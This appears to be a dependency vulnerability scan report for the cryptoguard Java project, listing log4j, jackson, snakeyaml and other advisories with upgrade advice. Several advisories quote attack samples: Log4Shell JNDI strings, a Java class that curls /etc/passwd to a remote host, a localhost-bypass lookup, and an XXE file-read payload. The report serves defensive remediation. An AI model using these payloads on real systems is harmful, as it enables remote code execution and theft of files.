Vulnerabilities |
24 via 41 paths |
|---|---|
Dependencies |
25 |
Source |
GitHub |
Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: org.apache.logging.log4j:log4j-core
- Introduced through: org.apache.logging.log4j:log4j-core@2.13.3
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › org.apache.logging.log4j:log4j-core@2.13.3Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.15.0.
Overview
org.apache.logging.log4j:log4j-core is a logging library for Java.
Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
From log4j 2.15.0, JNDI LDAP endpoints are restricted to localhost by default.
PoC
When an application uses log4j to log user input, an attacker can exploit this vulnerability, by supplying a malicious string that the application logs - for example, ${jndi:ldap://someurl/Evil}. This causes the application to execute a malicious class supplied by an attacker’s LDAP server (someurl/Evil in this example).
For example, the vulnerability can be used to inject this malicious class into an application:
public class Evil implements ObjectFactory {
@Override
public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("curl -F 'file=@/etc/passwđ' https://someurl/upload");
return null;
}
}
This causes the application to disclose the etc/passwd file on the system, and send it to a remote attacker.
Further Remediation Options
If upgrading the version is not possible, we strongly recommend to mitigate the vulnerability using one of these methods:
- Remove
JndiLookup.classfrom the class path (i.e:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. While not pertinent to log4shell, consider also removingJndiManager,JMSAppenderandSMTPAppenderif you are not using them, as there are unconfirmed reports they could be leveraged in similar attacks in the future. - Partial mitigation: disable lookups via system properties or environmental variables. If you use log4j >=2.10.0, you can set the system property
LOG4J_FORMAT_MSG_NO_LOOKUPSor the environmental variableDlog4j2.formatMsgNoLookupstotrue. (RCE is possible in some non-default Pattern Layout configurations that use a Context Lookup or a Thread Context Map pattern.)
Upgrading your JDK versions is not enough to mitigate this vulnerability in all circumstances, as it was proven that setting the com.sun.jndi.ldap.object.trustURLCodebase property to false is not enough.
For more remediation advice, please visit the Log4j Remediation Cheat Sheet post.
Note: org.apache.logging.log4j:log4j-api was originally deemed vulnerable, but Apache maintainers have since clarified that this only affects org.apache.logging.log4j:log4j-core.
Remediation
Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.15.0 or higher.
Use this guide to scan your projects for the Log4Shell vulnerability.
References
critical severity
- Vulnerable module: org.apache.logging.log4j:log4j-core
- Introduced through: org.apache.logging.log4j:log4j-core@2.13.3
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › org.apache.logging.log4j:log4j-core@2.13.3Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.16.0.
Overview
org.apache.logging.log4j:log4j-core is a logging library for Java.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) if one of the following conditions is met:
- Logging configuration explicitly enables lookups – either by default (if using a version lower than 2.15.0) or manually by using
%m{lookups}asformatMsgNoLookupsis switched on by default as of version 2.15.0. - Or uses a non-default Pattern Layout with Context Lookup where attackers can control input data via Thread Context Map (MDC),
- Or uses
Logger.printf("%s", userInput)function where attackers can control the userInput variable.
A malicious actor is able to bypass the mitigation implemented in version 2.15.0 that limits JNDI lookups to localhost only: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a}.
We recommend updating to version 2.16.0 which completely disables JNDI lookups by default. If upgrading is not an option, this issue can be mitigated in prior releases by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).
PoC
In config:
<pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>
In code:
ThreadContext.put("loginId", UserControlledInput);
History
This vulnerability was previously assigned a CVSS score of 3.7 (Low), and the impact was believed to be Denial of Service (DoS).
Furthermore, the advisory previously mentioned Thread Context Map patterns (%X, %mdc, or %MDC) as being vulnerable to this issue, but that has since been proven wrong.
On December 17, 2021 new information came to light, demonstrating that an Arbitrary Code Execution vulnerability still exists in version 2.15.0 of Log4j due to a bypass to the localhost-only lookup mechanism.
Remediation
Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.16.0 or higher.
References
high severity
- Vulnerable module: org.apache.commons:commons-lang3
- Introduced through: org.apache.commons:commons-lang3@3.7
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › org.apache.commons:commons-lang3@3.7Remediation: Upgrade to org.apache.commons:commons-lang3@3.18.0.
Overview
Affected versions of this package are vulnerable to Uncontrolled Recursion via the ClassUtils.getClass function. An attacker can cause the application to terminate unexpectedly by providing excessively long input values.
Remediation
Upgrade org.apache.commons:commons-lang3 to version 3.18.0 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-core
- Introduced through: com.fasterxml.jackson.core:jackson-core@2.10.0 and com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.core:jackson-core@2.10.0Remediation: Upgrade to com.fasterxml.jackson.core:jackson-core@2.15.0.
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0 › com.fasterxml.jackson.core:jackson-core@2.10.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.15.0.
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0 › com.fasterxml.jackson.core:jackson-databind@2.10.0 › com.fasterxml.jackson.core:jackson-core@2.10.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.15.0.
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0 › com.fasterxml.jackson.module:jackson-module-jaxb-annotations@2.10.0 › com.fasterxml.jackson.core:jackson-core@2.10.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.13.0.
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0 › com.fasterxml.jackson.module:jackson-module-jaxb-annotations@2.10.0 › com.fasterxml.jackson.core:jackson-databind@2.10.0 › com.fasterxml.jackson.core:jackson-core@2.10.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.13.0.
Overview
com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation
Affected versions of this package are vulnerable to Denial of Service (DoS) due to missing input size validation when performing numeric type conversions. A remote attacker can exploit this vulnerability by causing the application to deserialize data containing certain numeric types with large values, causing the application to exhaust all available resources.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-core
- Introduced through: com.fasterxml.jackson.core:jackson-core@2.10.0 and com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.core:jackson-core@2.10.0Remediation: Upgrade to com.fasterxml.jackson.core:jackson-core@2.15.0.
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0 › com.fasterxml.jackson.core:jackson-core@2.10.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.15.0.
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0 › com.fasterxml.jackson.core:jackson-databind@2.10.0 › com.fasterxml.jackson.core:jackson-core@2.10.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.15.0.
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0 › com.fasterxml.jackson.module:jackson-module-jaxb-annotations@2.10.0 › com.fasterxml.jackson.core:jackson-core@2.10.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.13.0.
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0 › com.fasterxml.jackson.module:jackson-module-jaxb-annotations@2.10.0 › com.fasterxml.jackson.core:jackson-databind@2.10.0 › com.fasterxml.jackson.core:jackson-core@2.10.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.13.0.
Overview
com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation
Affected versions of this package are vulnerable to Stack-based Buffer Overflow due to the parse process, which accepts an unlimited input file with deeply nested data. An attacker can cause a stack overflow and crash the application by providing input files with excessively deep nesting.
Remediation
Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0 › com.fasterxml.jackson.core:jackson-databind@2.10.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.11.0.
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0 › com.fasterxml.jackson.module:jackson-module-jaxb-annotations@2.10.0 › com.fasterxml.jackson.core:jackson-databind@2.10.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.11.0.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. A flaw was found in FasterXML Jackson Databind, where it does not have entity expansion secured properly in the DOMDeserializer class. The highest threat from this vulnerability is data integrity.
Details
XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.
For example, below is a sample XML document, containing an XML element- username.
<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<username>John</username>
</xml>
An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.
<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<username>&xxe;</username>
</xml>
Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.7, 2.10.5.1 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0 › com.fasterxml.jackson.core:jackson-databind@2.10.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.12.7.
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0 › com.fasterxml.jackson.module:jackson-module-jaxb-annotations@2.10.0 › com.fasterxml.jackson.core:jackson-databind@2.10.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.12.7.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Denial of Service (DoS) via a large depth of nested objects.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.12.6.1, 2.13.2.1 or higher.
References
high severity
- Vulnerable module: org.apache.logging.log4j:log4j-core
- Introduced through: org.apache.logging.log4j:log4j-core@2.13.3
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › org.apache.logging.log4j:log4j-core@2.13.3Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.17.0.
Overview
org.apache.logging.log4j:log4j-core is a logging library for Java.
Affected versions of this package are vulnerable to Denial of Service (DoS). Does not protect against uncontrolled recursion from self-referential lookups.
When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process.
PoC
In log4j.properties:
appender.console.type = Console
appender.console.name = console
appender.console.layout.type = PatternLayout
appender.console.layout.pattern = !${ctx:test}! %m%n
rootLogger.level = ALL
rootLogger.appenderRef.file.ref = console
In Main.java:
ThreadContext.put("test", "${::-${ctx:test}}");
logger.error("boom"); // Will not be logged
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.3, 2.17.0 or higher.
References
high severity
- Vulnerable module: org.codehaus.groovy:groovy
- Introduced through: org.codehaus.groovy:groovy@3.0.3
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › org.codehaus.groovy:groovy@3.0.3Remediation: Upgrade to org.codehaus.groovy:groovy@3.0.7.
Overview
org.codehaus.groovy:groovy is a language for the JVM
Affected versions of this package are vulnerable to Information Disclosure. Groovy may create temporary directories within the OS temporary directory which is shared between all users on affected systems. This vulnerability only impacts Unix-like systems, and very old versions of Mac OSX and Windows.
Remediation
Upgrade org.codehaus.groovy:groovy to version 2.4.21, 2.5.14, 3.0.7, 4.0.0-alpha-2 or higher.
References
high severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.10.0
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.10.0 › org.yaml:snakeyaml@1.24Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.13.4.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Denial of Service (DoS) due to missing nested depth limitation for collections.
NOTE: This vulnerability has also been identified as: CVE-2022-38749
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade org.yaml:snakeyaml to version 1.31 or higher.
References
high severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.10.0
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.10.0 › org.yaml:snakeyaml@1.24Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.13.4.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Denial of Service (DoS) due to missing nested depth limitation for collections.
NOTE: This vulnerability has also been identified as: CVE-2022-25857
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade org.yaml:snakeyaml to version 1.31 or higher.
References
medium severity
- Vulnerable module: org.apache.logging.log4j:log4j-core
- Introduced through: org.apache.logging.log4j:log4j-core@2.13.3
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › org.apache.logging.log4j:log4j-core@2.13.3Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.17.1.
Overview
org.apache.logging.log4j:log4j-core is a logging library for Java.
Affected versions of this package are vulnerable to Arbitrary Code Execution.
Note: Even though this vulnerability appears to be related to the log4Shell vulnerability, this vulnerability requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.
An attacker with access to modification of logging configuration is able to configure JDBCAppender with a data source referencing a JNDI URI - which can execute malicious code.
In the fixed versions, JDBCAppender is using JndiManager and disables JNDI lookups by default (via log4j2.enableJndiJdbc=false).
Alternative Remediation
If you have reason to believe your application may be vulnerable and upgrading is not an option, you can either:
- Disable/remove
JDBCAppender - If
JDBCAppenderis used, make sure that it is not configured to use any protocol other than Java
Remediation
Upgrade org.apache.logging.log4j:log4j-core to version 2.3.2, 2.12.4, 2.17.1 or higher.
References
medium severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.10.0
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.10.0 › org.yaml:snakeyaml@1.24Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.15.0.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Arbitrary Code Execution in the Constructor class, which does not restrict which types can be deserialized. This vulnerability is exploitable by an attacker who provides a malicious YAML file for deserialization, which circumvents the SafeConstructor class.
The maintainers of the library contend that the application's trust would already have had to be compromised or established and therefore dispute the risk associated with this issue on the basis that there is a high bar for exploitation.
Remediation
Upgrade org.yaml:snakeyaml to version 2.0 or higher.
References
medium severity
- Vulnerable module: org.apache.logging.log4j:log4j-core
- Introduced through: org.apache.logging.log4j:log4j-core@2.13.3
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › org.apache.logging.log4j:log4j-core@2.13.3Remediation: Upgrade to org.apache.logging.log4j:log4j-core@2.25.3.
Overview
org.apache.logging.log4j:log4j-core is a logging library for Java.
Affected versions of this package are vulnerable to Improper Validation of Certificate with Host Mismatch due to the lack of TLS hostname verification in the SocketAppender component. An attacker can intercept or redirect log traffic by performing a man-in-the-middle attack if they are able to intercept or redirect network traffic between the client and the log receiver and can present a server certificate issued by a certification authority trusted by the configured trust store or the default Java trust store.
Workaround
This vulnerability can be mitigated by configuring the SocketAppender to use a private or restricted trust root to limit the set of trusted certificates.
Remediation
Upgrade org.apache.logging.log4j:log4j-core to version 2.25.3 or higher.
References
medium severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0 › com.fasterxml.jackson.core:jackson-databind@2.10.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.13.4.
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0 › com.fasterxml.jackson.module:jackson-module-jaxb-annotations@2.10.0 › com.fasterxml.jackson.core:jackson-databind@2.10.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.13.0.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Denial of Service (DoS) in the _deserializeFromArray() function in BeanDeserializer, due to resource exhaustion when processing a deeply nested array.
NOTE:
For this vulnerability to be exploitable the non-default DeserializationFeature must be enabled.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.12.7.1, 2.13.4 or higher.
References
medium severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0 › com.fasterxml.jackson.core:jackson-databind@2.10.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.13.5.
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0 › com.fasterxml.jackson.module:jackson-module-jaxb-annotations@2.10.0 › com.fasterxml.jackson.core:jackson-databind@2.10.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.13.0.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Denial of Service (DoS) in the _deserializeWrappedValue() function in StdDeserializer.java, due to resource exhaustion when processing deeply nested arrays.
NOTE: This vulnerability is only exploitable when the non-default UNWRAP_SINGLE_VALUE_ARRAYS feature is enabled.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.12.7.1, 2.13.4.1 or higher.
References
medium severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.10.0
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.10.0 › org.yaml:snakeyaml@1.24Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.10.4.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Denial of Service (DoS). The Alias feature in SnakeYAML 1.18 allows entity expansion during a load operation, a related issue to CVE-2003-1564.
Note While the Maintainer acknowledges the existence of the issue, they believe it should be solved by sanitizing the inputStream to the parser
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade org.yaml:snakeyaml to version 1.26 or higher.
References
medium severity
- Vulnerable module: com.fasterxml.woodstox:woodstox-core
- Introduced through: com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0 › com.fasterxml.woodstox:woodstox-core@6.0.1Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.13.5.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stack overflow.
NOTE: This vulnerability was originally reported five times and received five CVE IDs. These have since been corrected to be duplicate references to the same issue.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade com.fasterxml.woodstox:woodstox-core to version 5.4.0, 6.4.0 or higher.
References
medium severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-core
- Introduced through: com.fasterxml.jackson.core:jackson-core@2.10.0 and com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0
Detailed paths
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.core:jackson-core@2.10.0Remediation: Upgrade to com.fasterxml.jackson.core:jackson-core@2.13.0.
-
Introduced through: franceme/cryptoguard@franceme/cryptoguard › com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.10.0 › com.fasterxml.jackson.core:jackson-core@2.10.0Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-xml@2.13.0.
-
